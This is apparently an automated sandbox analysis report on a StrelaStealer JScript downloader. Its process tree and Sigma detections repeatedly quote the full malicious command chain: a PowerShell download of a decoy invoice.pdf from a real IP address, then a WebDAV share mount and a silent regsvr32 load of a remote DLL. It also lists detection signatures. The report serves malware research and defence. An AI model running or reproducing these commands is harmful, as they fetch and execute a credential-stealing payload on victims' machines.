Edit tour

Windows Analysis Report
21905169581426428153.js

Overview

General Information

Sample name:	21905169581426428153.js
Analysis ID:	1588325
MD5:	a9a025f9c56f6e84da3eed93bd4ad188
SHA1:	29d2c1a0d6a21ed6ec52e7606540d5db495b15f0
SHA256:	62fdb26b984826ff3e63035ea9ad475994ba2f3e2512117f45ea834173401081
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6608 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2416 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1700 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7320 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1584,i,10425468771051065857,10688352718162203194,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3096 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2172 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7188 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6608	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2416, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1700, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2416, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1700, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", ProcessId: 6608, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2172, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, ProcessId: 2416, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, ProcessId: 2416, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, ProcessId: 2416, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, ProcessId: 2416, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, ProcessId: 2416, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", ProcessId: 6608, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2416, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1700, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2172, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7188, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2172, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll, ProcessId: 2416, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:01:00.524901+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:01:03.102886+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:01:00.524901+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 21905169581426428153.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 21905169581426428153.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:01:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

